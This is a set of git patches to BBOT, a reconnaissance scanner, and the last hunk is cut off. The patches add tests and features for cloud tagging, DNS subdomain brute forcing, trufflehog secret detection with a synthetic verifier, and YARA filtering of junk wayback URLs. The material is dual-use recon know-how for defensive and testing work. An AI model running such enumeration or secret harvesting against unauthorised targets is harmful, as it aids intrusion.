-27,8 +27,8 @@ async def setup_after_prep(self, module_test): other_event1 = scan.make_event("cname.evilcorp.com", parent=scan.root_event) other_event2 = scan.make_event("cname2.evilcorp.com", parent=scan.root_event) other_event3 = scan.make_event("cname3.evilcorp.com", parent=scan.root_event) - other_event2._resolved_hosts = {"8.8.8.8"} - other_event3._resolved_hosts = {"asdf.amazonaws.com"} + other_event2.resolved_hosts = ("8.8.8.8",) + other_event3.resolved_hosts = ("asdf.amazonaws.com",) for event in (ip_event, other_event2): await module.handle_event(ip_event) @@ -56,13 +56,136 @@ async def setup_after_prep(self, module_test): google_event1 = scan.make_event("asdf.googleapis.com", parent=scan.root_event) google_event2 = scan.make_event("asdf.google", parent=scan.root_event) google_event3 = scan.make_event("asdf.evilcorp.com", parent=scan.root_event) - google_event3._resolved_hosts = {"asdf.storage.googleapis.com"} + google_event3.resolved_hosts = ("asdf.storage.googleapis.com",) for event in (google_event1, google_event2, google_event3): await module.handle_event(event) assert "google" in event.tags, f"{event} was not properly cloud-tagged" assert "cloud" in event.tags, f"{event} was not properly cloud-tagged" + # ── Parent-inheritance regression tests ──────────────────────── + # cloudcheck has a fast path where a child event with hosts ⊆ parent's + # hosts inherits the parent's cloud tags instead of re-running lookups. + # Correctness requires that tags are only inherited PER HOST — a child + # without parent's cloud-tagged host must NOT inherit that tag. + + # Build a parent with TWO hosts: one matches Amazon (via CNAME), the + # other doesn't. Parent's event-level tags will include "amazon" / + # "cloud" because of the matching host. + inherit_parent = scan.make_event("evilcorp.com", parent=scan.root_event) + inherit_parent.resolved_hosts = ("asdf.amazonaws.com", "10.0.0.1") + await module.handle_event(inherit_parent) + assert "amazon" in inherit_parent.tags, "parent should have inherited amazon from CNAME" + assert "cloud" in inherit_parent.tags + assert "asdf.amazonaws.com" in inherit_parent.host_metadata + # the non-matching hosts must NOT appear in host_metadata + assert "10.0.0.1" not in inherit_parent.host_metadata + assert "evilcorp.com" not in inherit_parent.host_metadata + + # CASE A — child host set is a SUBSET of parent's but EXCLUDES the + # Amazon-matching host. The child must not inherit "amazon" / "cloud". + # This is the leak the regression test guards against. + child_excludes_match = scan.make_event("evilcorp.com", parent=inherit_parent) + child_excludes_match.resolved_hosts = ("10.0.0.1",) + await module.handle_event(child_excludes_match) + assert "amazon" not in child_excludes_match.tags, "amazon tag leaked from parent host the child doesn't have" + assert "cloud" not in child_excludes_match.tags, "cloud tag leaked from parent host the child doesn't have" + assert "asdf.amazonaws.com" not in child_excludes_match.host_metadata, "metadata for excluded host leaked" + + # CASE B — child INCLUDES the Amazon-matching host. It should inherit + # "amazon" / "cloud", and `match` is recomputed from child's view + # (here "asdf.amazonaws.com" is at position 1, so still "cname"). + child_includes_match = scan.make_event("evilcorp.com", parent=inherit_parent) + child_includes_match.resolved_hosts = ("asdf.amazonaws.com",) + await module.handle_event(child_includes_match) + assert "amazon" in child_includes_match.tags + assert "cloud" in child_includes_match.tags + assert "asdf.amazonaws.com" in child_includes_match.host_metadata + assert ( + child_includes_match.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "cname" + ) + + # CASE C — child whose primary host IS the Amazon CNAME target. + # Subset gate still passes (host is in parent's resolved_hosts), and + # `match` recomputes to "domain" from child's perspective (i==0). + child_cname_as_primary = scan.make_event("asdf.amazonaws.com", parent=inherit_parent) + await module.handle_event(child_cname_as_primary) + assert "amazon" in child_cname_as_primary.tags + assert child_cname_as_primary.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == ( + "domain" + ), "match should be recomputed from child's perspective, not inherited as parent's 'cname'" + + # CASE D — child whose hosts are DISJOINT from parent's. Subset gate + # fails → falls back to normal lookup. Child gets Google tags from a + # real lookup, not via inheritance. + child_disjoint = scan.make_event("8.8.8.8", parent=inherit_parent) + await module.handle_event(child_disjoint) + assert "google" in child_disjoint.tags + assert "cloud" in child_disjoint.tags + + # ── YARA prefilter short-circuit ─────────────────────────────── + # When no host could possibly match any bucket regex (mismatched + # suffix) the prefilter returns no matches and we skip the Python + # regex loop entirely. We can't easily assert "loop was skipped" + # from outside, but we can verify the prefilter behavior directly. + # No false negatives are checked above by the full TestCloudCheck + # scan flow (which asserts STORAGE_BUCKET events are still emitted + # for asdf.s3.amazonaws.com / asdf2.storage.googleapis.com). + assert module._bucket_yara is not None, "bucket YARA prefilter must compile at setup" + # known bucket hostnames must hit the prefilter + for hostname in ("foo.s3.amazonaws.com", "bar.r2.dev", "baz.blob.core.windows.net"): + assert module._bucket_yara.match(data=hostname), f"prefilter must hit on real bucket hostname {hostname}" + # ordinary hostnames must not + for hostname in ("evilcorp.com", "www.example.com", "api.foo.bar.net"): + assert not module._bucket_yara.match(data=hostname), ( + f"prefilter must not hit on non-bucket hostname {hostname}" + ) + + # ── LRU cache on cloudcheck.lookup() ─────────────────────────── + # repeated hosts hit the cache instead of re-issuing the Future- + # based lookup. The cloudcheck Rust binding has read-only attrs, + # so we swap the entire helper-level instance with a counting + # wrapper rather than monkey-patching `.lookup` on the Rust object. + class _CountingCloudCheck: + def __init__(self, real): + self.real = real + self.calls = 0 + + def lookup(self, target): + self.calls += 1 + return self.real.lookup(target) + + original_cc = scan.helpers._cloudcheck + counter = _CountingCloudCheck(original_cc) + scan.helpers._cloudcheck = counter + try: + # clear the cache so the first miss is observable + module._lookup_cache.clear() + # first event: 1 host + 1 IP → 2 real lookups + cache_event1 = scan.make_event("cache-test-1.evilcorp.com", parent=scan.root_event) + cache_event1.resolved_hosts = ("203.0.113.42",) + await module.handle_event(cache_event1) + first_round = counter.calls + assert first_round >= 2, f"expected ≥2 lookups (host + IP), got {first_round}" + + # second event with the same hosts: 0 additional real lookups + cache_event2 = scan.make_event("cache-test-1.evilcorp.com", parent=scan.root_event) + cache_event2.resolved_hosts = ("203.0.113.42",) + await module.handle_event(cache_event2) + assert counter.calls == first_round, ( + f"LRU cache miss: expected no new lookups, got {counter.calls - first_round}" + ) + + # third event with a NEW host: exactly one extra lookup + cache_event3 = scan.make_event("cache-test-2.evilcorp.com", parent=scan.root_event) + cache_event3.resolved_hosts = ("203.0.113.42",) + await module.handle_event(cache_event3) + assert counter.calls == first_round + 1, ( + f"expected 1 new lookup for new host, got {counter.calls - first_round}" + ) + finally: + scan.helpers._cloudcheck = original_cc + await scan._cleanup() def check(self, module_test, events): From 8b78f6c07aafeb0e2911661067839a7a390f301e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 24 May 2026 04:42:55 +0000 Subject: [PATCH 702/912] Bump ruff from 0.15.13 to 0.15.14 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.13 to 0.15.14. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.13...0.15.14) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 114573c89f..38f7f8de91 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.3.0", - "ruff==0.15.13", + "ruff==0.15.14", "maturin>=1.4,<2", ] docs = [ From eb12191fb2e41ff4187789fa439a6995a290c48b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 24 May 2026 21:13:34 -0400 Subject: [PATCH 703/912] skip recursive bruteforce of mutation-discovered subdomains dnsbrute and dnscommonsrv now filter out events tagged mutation-* (emitted by dnsbrute_mutations). The static 5k SecLists wordlist and the SRV brute heavily overlap with the mutation algorithm's own output, so re-running per-host brute force on every mutation hit creates a long tail of near-redundant massdns work. Both modules expose `recursive_mutations` (default False). The kitchen-sink preset re-enables it for maximum coverage. --- bbot/modules/dnsbrute.py | 2 + bbot/modules/dnscommonsrv.py | 9 +++- bbot/modules/templates/subdomain_enum.py | 2 + bbot/presets/kitchen-sink.yml | 7 +++ .../module_tests/test_module_dnsbrute.py | 43 +++++++++++++++++ .../module_tests/test_module_dnscommonsrv.py | 46 +++++++++++++++++++ 6 files changed, 107 insertions(+), 2 deletions(-) diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index ddd5a2e88d..079d8f59f4 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -13,10 +13,12 @@ class dnsbrute(subdomain_enum): options = { "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "max_depth": 5, + "recursive_mutations": False, } options_desc = { "wordlist": "Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "max_depth": "How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com", + "recursive_mutations": "If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output.", } deps_common = ["massdns"] reject_wildcards = "strict" diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 65bff03a2f..c53358868f 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -10,8 +10,11 @@ class dnscommonsrv(subdomain_enum): dedup_strategy = "lowest_parent" deps_common = ["massdns"] - options = {"max_depth": 2} - options_desc = {"max_depth": "The maximum subdomain depth to brute-force SRV records"} + options = {"max_depth": 2, "recursive_mutations": False} + options_desc = { + "max_depth": "The maximum subdomain depth to brute-force SRV records", + "recursive_mutations": "If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them.", + } async def setup(self): self.max_subdomain_depth = self.config.get("max_depth", 2) @@ -19,6 +22,8 @@ async def setup(self): return True async def filter_event(self, event): + if not self.config.get("recursive_mutations", True) and any(t.startswith("mutation-") for t in event.tags): + return False, "event was discovered by dnsbrute_mutations and recursive_mutations is False" subdomain_depth = self.helpers.subdomain_depth(event.host) if subdomain_depth > self.max_subdomain_depth: return False, f"its subdomain depth ({subdomain_depth}) exceeds max_depth={self.max_subdomain_depth}" diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 3bdcdff07b..e6de184f04 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -161,6 +161,8 @@ async def _is_wildcard(self, query): return False async def filter_event(self, event): + if not self.config.get("recursive_mutations", True) and any(t.startswith("mutation-") for t in event.tags): + return False, "event was discovered by dnsbrute_mutations and recursive_mutations is False" query = self.make_query(event) # check if wildcard is_wildcard = await self._is_wildcard(query) diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml index 647889aab5..c578c54247 100644 --- a/bbot/presets/kitchen-sink.yml +++ b/bbot/presets/kitchen-sink.yml @@ -11,3 +11,10 @@ include: - dirbust-light - web-screenshots - baddns-heavy + +config: + modules: + dnsbrute: + recursive_mutations: true + dnscommonsrv: + recursive_mutations: true diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index e2e9cc01de..3ecbf4dceb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -90,6 +90,18 @@ async def new_run_live(*command, check=False, text=True, **kwargs): assert result is False assert reason == '"ptr1234.blacklanternsecurity.com" looks like an autogenerated PTR' + # mutation-tagged events are rejected by default (recursive_mutations=False) + event = module_test.scan.make_event( + "mut.blacklanternsecurity.com", + "DNS_NAME", + parent=module_test.scan.root_event, + tags=["mutation-1"], + ) + event.scope_distance = 0 + result, reason = await module_test.module.filter_event(event) + assert result is False + assert reason == "event was discovered by dnsbrute_mutations and recursive_mutations is False" + def check(self, module_test, events): assert len(events) == 4 assert 1 == len( @@ -97,6 +109,37 @@ def check(self, module_test, events): ) +class TestDnsbruteRecursiveMutations(ModuleTestBase): + """Setting recursive_mutations=True allows mutation-tagged events through.""" + + module_name = "dnsbrute" + subdomain_wordlist = tempwordlist(["www"]) + config_overrides = { + "modules": { + "dnsbrute": { + "wordlist": str(subdomain_wordlist), + "max_depth": 3, + "recursive_mutations": True, + } + } + } + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["4.3.2.1"]}}) + event = module_test.scan.make_event( + "mut.blacklanternsecurity.com", + "DNS_NAME", + parent=module_test.scan.root_event, + tags=["mutation-1"], + ) + event.scope_distance = 0 + result, reason = await module_test.module.filter_event(event) + assert result is True + + def check(self, module_test, events): + pass + + class TestDnsbruteMultiWordlist(ModuleTestBase): """Test that a list of wordlists is merged and deduplicated via helpers.wordlist().""" diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index e2b0438b0b..f1321ef896 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -112,3 +112,49 @@ def check(self, module_test, events): assert 10 == len([e for e in events if e.type == "DNS_NAME"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED"]) assert 5 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and str(e.module) == "speculate"]) + + +class TestDNSCommonSRVMutationFilterDefault(ModuleTestBase): + """By default (recursive_mutations=False) mutation-tagged events are rejected.""" + + module_name = "dnscommonsrv" + targets = ["blacklanternsecurity.com"] + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}}) + event = module_test.scan.make_event( + "mut.blacklanternsecurity.com", + "DNS_NAME", + parent=module_test.scan.root_event, + tags=["mutation-1"], + ) + event.scope_distance = 0 + result, reason = await module_test.module.filter_event(event) + assert result is False + assert reason == "event was discovered by dnsbrute_mutations and recursive_mutations is False" + + def check(self, module_test, events): + pass + + +class TestDNSCommonSRVRecursiveMutations(ModuleTestBase): + """With recursive_mutations=True the mutation tag no longer rejects the event.""" + + module_name = "dnscommonsrv" + targets = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"dnscommonsrv": {"recursive_mutations": True}}} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}}) + event = module_test.scan.make_event( + "mut.blacklanternsecurity.com", + "DNS_NAME", + parent=module_test.scan.root_event, + tags=["mutation-1"], + ) + event.scope_distance = 0 + result = await module_test.module.filter_event(event) + assert result is True + + def check(self, module_test, events): + pass From 28d103b66e8a5a28bfb3769feb64414356790d34 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 25 May 2026 11:29:36 -0400 Subject: [PATCH 704/912] verify trufflehog against local httpserver instead of herokuapp --- .../module_tests/test_module_trufflehog.py | 61 ++++++++++++++----- 1 file changed, 46 insertions(+), 15 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index ee6aa0c5f1..21a4cfbbf8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1,18 +1,49 @@ import io +import json import shutil import zipfile import tarfile import subprocess from pathlib import Path +from werkzeug.wrappers import Response + from .base import ModuleTestBase from bbot.test.bbot_fixtures import bbot_test_dir +# Custom trufflehog detector that verifies against module_test.httpserver (127.0.0.1:8888), +# so the test doesn't depend on external network reachability. +TRUFFLEHOG_VERIFY_PATH = "/trufflehog-verify" +TRUFFLEHOG_VERIFIED_TOKEN = "aaaaaaaaaaaaaaaa" +TRUFFLEHOG_UNVERIFIED_TOKEN = "bbbbbbbbbbbbbbbb" +TRUFFLEHOG_CUSTOM_CONFIG = f"""detectors: + - name: BBOTTestSecret + keywords: + - BBOTTEST + regex: + key: 'BBOTTEST-([A-Za-z0-9]{{16}})' + verify: + - endpoint: http://127.0.0.1:8888{TRUFFLEHOG_VERIFY_PATH} + unsafe: true +""" + + +def _trufflehog_verify_handler(request): + payload = json.loads(request.get_data() or b"{}") + # trufflehog posts {"": {"": ["", ""]}} + captures = payload.get("BBOTTestSecret", {}).get("key", []) + if len(captures) >= 2 and captures[1] == TRUFFLEHOG_VERIFIED_TOKEN: + return Response("ok", status=200) + return Response("no", status=401) + + class TestTrufflehog(ModuleTestBase): download_dir = bbot_test_dir / "test_trufflehog" + trufflehog_config_path = bbot_test_dir / "trufflehog_custom_config.yaml" config_overrides = { "modules": { + "trufflehog": {"config": str(trufflehog_config_path)}, "postman_download": {"api_key": "asdf", "output_folder": str(download_dir)}, "docker_pull": {"output_folder": str(download_dir)}, "github_org": {"api_key": "asdf"}, @@ -31,9 +62,13 @@ class TestTrufflehog(ModuleTestBase): "trufflehog", ] - file_content = "Verifiable Secret:\nhttps://admin:admin@the-internet.herokuapp.com/basic_auth\n\nUnverifiable Secret:\nhttps://admin:admin@internal.host.com" + file_content = ( + f"Verifiable Secret:\nBBOTTEST-{TRUFFLEHOG_VERIFIED_TOKEN}\n\n" + f"Unverifiable Secret:\nBBOTTEST-{TRUFFLEHOG_UNVERIFIED_TOKEN}" + ) async def setup_before_prep(self, module_test): + self.trufflehog_config_path.write_text(TRUFFLEHOG_CUSTOM_CONFIG) module_test.blasthttp_mock.add_response( url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"} ) @@ -862,6 +897,9 @@ async def setup_before_prep(self, module_test): ) async def setup_after_prep(self, module_test): + module_test.httpserver.expect_request(uri=TRUFFLEHOG_VERIFY_PATH, method="POST").respond_with_handler( + _trufflehog_verify_handler + ) module_test.blasthttp_mock.add_response( url="https://www.postman.com/_api/ws/proxy", match_json={ @@ -1088,12 +1126,9 @@ async def setup_after_prep(self, module_test): "header": [{"key": "Content-Type", "value": "application/json"}], "body": { "mode": "raw", - "raw": '{"username": "test", "password": "Test"}', - }, - "url": { - "raw": "https://admin:admin@the-internet.herokuapp.com/basic_auth", - "host": ["https://admin:admin@the-internet.herokuapp.com/basic_auth"], + "raw": f"verifiable: BBOTTEST-{TRUFFLEHOG_VERIFIED_TOKEN}", }, + "url": {"raw": "https://example.com/", "host": ["https://example.com/"]}, "description": "", }, "response": [], @@ -1108,12 +1143,9 @@ async def setup_after_prep(self, module_test): "header": [{"key": "Content-Type", "value": "application/json"}], "body": { "mode": "raw", - "raw": '{"username": "test", "password": "Test"}', - }, - "url": { - "raw": "https://admin:admin@internal.host.com", - "host": ["https://admin:admin@internal.host.com"], + "raw": f"unverifiable: BBOTTEST-{TRUFFLEHOG_UNVERIFIED_TOKEN}", }, + "url": {"raw": "https://example.com/", "host": ["https://example.com/"]}, "description": "", }, "response": [], @@ -1165,8 +1197,7 @@ def check(self, module_test, events): or e.data["host"] == "www.postman.com" ) and "Verified Secret Found." in e.data["description"] - and "Raw result: [https://admin:admin@the-internet.herokuapp.com]" in e.data["description"] - and "RawV2 result: [https://admin:admin@the-internet.herokuapp.com/basic_auth]" in e.data["description"] + and f"Raw result: [{TRUFFLEHOG_VERIFIED_TOKEN}]" in e.data["description"] ] # Trufflehog should find 4 verifiable secrets, 1 from the github, 1 from the workflow log, 1 from the docker image and 1 from the postman. @@ -1219,7 +1250,7 @@ class TestTrufflehog_NonVerified(TestTrufflehog): download_dir = bbot_test_dir / "test_trufflehog_nonverified" config_overrides = { "modules": { - "trufflehog": {"only_verified": False}, + "trufflehog": {"only_verified": False, "config": str(TestTrufflehog.trufflehog_config_path)}, "docker_pull": {"output_folder": str(download_dir)}, "postman_download": {"api_key": "asdf", "output_folder": str(download_dir)}, "github_org": {"api_key": "asdf"}, @@ -1238,7 +1269,7 @@ def check(self, module_test, events): or e.data["host"] == "www.postman.com" ) and "Possible Secret Found." in e.data["description"] - and "Raw result: [https://admin:admin@internal.host.com]" in e.data["description"] + and f"Raw result: [{TRUFFLEHOG_UNVERIFIED_TOKEN}]" in e.data["description"] ] # Trufflehog should find 4 unverifiable secrets, 1 from the github, 1 from the workflow log, 1 from the docker image and 1 from the postman. assert 4 == len(finding_events), "Failed to find secret in events" From f0055f0262c5c4dba6dc1d2ee655fd782a49316b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 25 May 2026 12:52:24 -0400 Subject: [PATCH 705/912] wayback: filter Akamai-style junk URLs via YARA rule --- bbot/modules/wayback.py | 54 +++++++++++++++++-- .../module_tests/test_module_wayback.py | 41 ++++++++++++++ 2 files changed, 91 insertions(+), 4 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index ab59af5808..91a72b0c23 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -48,6 +48,35 @@ class wayback(subdomain_enum): # if any single path segment repeats more than this many times, it's a path loop / crawler trap _max_path_segment_repeats = 3 + # YARA rules for filtering junk URLs out of CDX results. + # Each rule's meta block should set category = "url_junk" and a `description`. + # To add a new pattern, add an entry — rule names must be unique across the dict. + _junk_url_yara_rules = { + # Per-session bot-manager challenge URLs (Akamai-style randomized paths). + # Counts path segments that contain all three of: uppercase, lowercase, + # and digit/underscore/hyphen. The big alternation enumerates the six + # possible orderings of those three character classes within a segment. + # Threshold of 2 catches every URL in the validation corpus and leaves + # CamelCase REST paths (/api/v1/MyController/getStuff) untouched because + # those don't contain a digit or symbol inside the camelCase segment. + "akamai_bot_manager_url": r""" +rule akamai_bot_manager_url +{ + meta: + author = "BBOT" + description = "Per-session bot-manager challenge URL with random-looking path segments mixing case and digits/symbols" + category = "url_junk" + confidence = "HIGH" + + strings: + $strict_seg = /\/[A-Za-z0-9_-]*([A-Z][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[0-9_-]|[A-Z][A-Za-z0-9_-]*[0-9_-][A-Za-z0-9_-]*[a-z]|[a-z][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[0-9_-]|[a-z][A-Za-z0-9_-]*[0-9_-][A-Za-z0-9_-]*[A-Z]|[0-9_-][A-Za-z0-9_-]*[A-Z][A-Za-z0-9_-]*[a-z]|[0-9_-][A-Za-z0-9_-]*[a-z][A-Za-z0-9_-]*[A-Z])[A-Za-z0-9_-]*/ + + condition: + #strict_seg >= 2 +} +""", + } + def _is_garbage_url(self, url): """Detect crawler-trap URLs with repeating path segments or excessive length.""" if len(url) > self._max_url_length: @@ -61,6 +90,21 @@ def _is_garbage_url(self, url): counts = Counter(segments) return counts.most_common(1)[0][1] > self._max_path_segment_repeats + def _filter_urls_sync(self, urls): + """Drop blacklisted, garbage, and YARA-junk URLs in one pass. Returns (kept, junk_dropped).""" + kept = [] + junk_dropped = 0 + for url in urls: + if any(bl in url for bl in self.url_blacklist): + continue + if self._is_garbage_url(url): + continue + if self._junk_url_rules.match(data=url): + junk_dropped += 1 + continue + kept.append(url) + return kept, junk_dropped + def _is_interesting_file(self, url): ext = get_file_extension(url) if ext and ext.lower() in self.interesting_extensions: @@ -95,6 +139,7 @@ async def setup(self): # (multiple request URLs can redirect to the same archived snapshot) # 32M bits (~4MB) supports ~400K entries with negligible false-positive rate self._archive_bloom = self.helpers.bloom_filter(32000000) + self._junk_url_rules = self.helpers.yara.compile(source="\n".join(self._junk_url_yara_rules.values())) return await super().setup() def _incoming_dedup_hash(self, event): @@ -355,10 +400,11 @@ async def query(self, query): self.verbose(f"Found {len(urls):,} URLs for {query}") - # filter blacklisted and garbage URLs before any further processing - urls = [ - url for url in urls if not any(bl in url for bl in self.url_blacklist) and not self._is_garbage_url(url) - ] + # filter blacklisted, garbage, and junk URLs before any further processing + # (one bulk executor pass, since CDX responses can contain 100K+ URLs) + urls, junk_dropped = await self.helpers.run_in_executor_cpu(self._filter_urls_sync, urls) + if junk_dropped: + self.verbose(f"Filtered {junk_dropped:,} junk URLs via YARA rules for {query}") # pre-extract metadata from raw URLs before collapse strips query strings raw_url_params, archive_urls, interesting_files = {}, {}, {} diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 150d7de339..a66f53c30b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -590,6 +590,47 @@ def check(self, module_test, events): ) +class TestWaybackJunkUrlFilter(ModuleTestBase): + """Bot-manager-style randomized URLs should be filtered by the built-in YARA junk rules.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + # Synthetic Akamai-style junk URLs: each path has 2+ random segments + # mixing uppercase, lowercase, and digits/symbols. + junk_urls = [ + "https://blacklanternsecurity.com/K8RIfwz/zxO29N1d2a4g/Q3rx/GjlB8/ZrcodWAG1Tpd/1KhpOA/0c5tzl-i2II/Es8jJD", + "https://blacklanternsecurity.com/w9bx0E/UPcIqN7-eCer/Fgm0A2/z0IU7/GBxV7_4QEnK/knJ9z4IYXGGw/XWt6dak5Ao", + "https://blacklanternsecurity.com/oq384ANPC0E/Hq2E2/yCFIf08-/Ln3Kln6oEWx7", + ] + # URLs that must survive the filter — includes the Akamai bot-manager endpoint + # itself, a CamelCase REST API path, and a single mixed-case-with-symbol segment + # (MYAPP_Auth alone shouldn't trip the threshold of 2). + legit_urls = [ + "https://blacklanternsecurity.com/clientlibs/abc123def456", + "https://blacklanternsecurity.com/_bm/get_params?type=get-akid", + "https://blacklanternsecurity.com/api/v1/MyController/getStuff", + "https://blacklanternsecurity.com/MYAPP_Auth/login.jsp?TYPE=33554432", + ] + + async def setup_after_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], *([u] for u in self.junk_urls + self.legit_urls)], + ) + + def check(self, module_test, events): + emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"] + for junk in self.junk_urls: + assert not any(junk in u for u in emitted), f"Junk URL was not filtered: {junk}" + for legit in self.legit_urls: + # match on the path so http/https variant normalization doesn't cause spurious failures + path = legit.split("blacklanternsecurity.com", 1)[1].split("?", 1)[0] + assert any(path in u for u in emitted), f"Legit URL was filtered: {legit}" + + class TestWaybackArchive429Retry(ModuleTestBase): """Archive fetches that get 429 rate-limited should back off and retry successfully.""" From 926a92b1251de57122e6e55856655e48efe571cf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 25 May 2026 13:29:27 -0400 Subject: [PATCH 706/912] benchmarks: use dns.minimal instead of dns.disable --- bbot/test/benchmarks/_scan_memory_deep_chain.py | 2 +- bbot/test/benchmarks/_scan_memory_parallel_chains.py | 2 +- bbot/test/benchmarks/_scan_memory_web_crawl.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/benchmarks/_scan_memory_deep_chain.py b/bbot/test/benchmarks/_scan_memory_deep_chain.py index f13663e003..c12c32a028 100644 --- a/bbot/test/benchmarks/_scan_memory_deep_chain.py +++ b/bbot/test/benchmarks/_scan_memory_deep_chain.py @@ -82,7 +82,7 @@ def log_message(self, *a): modules=[HTTP_MODULE], output_modules=["python"], config={ - "dns": {"disable": True}, + "dns": {"minimal": True}, "scope": {"search_distance": 0}, "web": { "spider_distance": CHAIN_LENGTH + 5, diff --git a/bbot/test/benchmarks/_scan_memory_parallel_chains.py b/bbot/test/benchmarks/_scan_memory_parallel_chains.py index 9bd1cf634c..50a15d65b5 100644 --- a/bbot/test/benchmarks/_scan_memory_parallel_chains.py +++ b/bbot/test/benchmarks/_scan_memory_parallel_chains.py @@ -89,7 +89,7 @@ def log_message(self, *a): modules=[HTTP_MODULE], output_modules=["python"], config={ - "dns": {"disable": True}, + "dns": {"minimal": True}, "scope": {"search_distance": 0}, "web": { "spider_distance": CHAIN_LENGTH + 5, diff --git a/bbot/test/benchmarks/_scan_memory_web_crawl.py b/bbot/test/benchmarks/_scan_memory_web_crawl.py index c5fc94245e..fd4a9e6a06 100644 --- a/bbot/test/benchmarks/_scan_memory_web_crawl.py +++ b/bbot/test/benchmarks/_scan_memory_web_crawl.py @@ -67,7 +67,7 @@ def log_message(self, *a): modules=[HTTP_MODULE], output_modules=["python"], config={ - "dns": {"disable": True}, + "dns": {"minimal": True}, "scope": {"search_distance": 0}, "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, "speculate": True, From 56d517d0b3faecefb016867a7eb0f7993f55fe70 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 25 May 2026 13:47:39 -0400 Subject: [PATCH 707/912] bypass ingress throttle in drain mode --- bbot/scanner/scanner.py | 8 ++++ bbot/test/test_step_1/test_scan.py | 67 +++++++++++++++++++++++++----- 2 files changed, 64 insertions(+), 11 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index c7a7aa0a1e..8b9d018df5 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -756,6 +756,14 @@ def modules_status(self, _log=False, detailed=False): mem_percent = mem_status.percent prev_delay = self._ingress_delay new_delay = self._compute_ingress_delay(mem_percent) + # if no module has work in flight or queued, ingress is the only drain — don't throttle it + drain_mode = not any( + (m.running or m.outgoing_event_queue.qsize() > 0 or m.num_incoming_events > 0) + for m in self.modules.values() + if not m._intercept + ) + if drain_mode: + 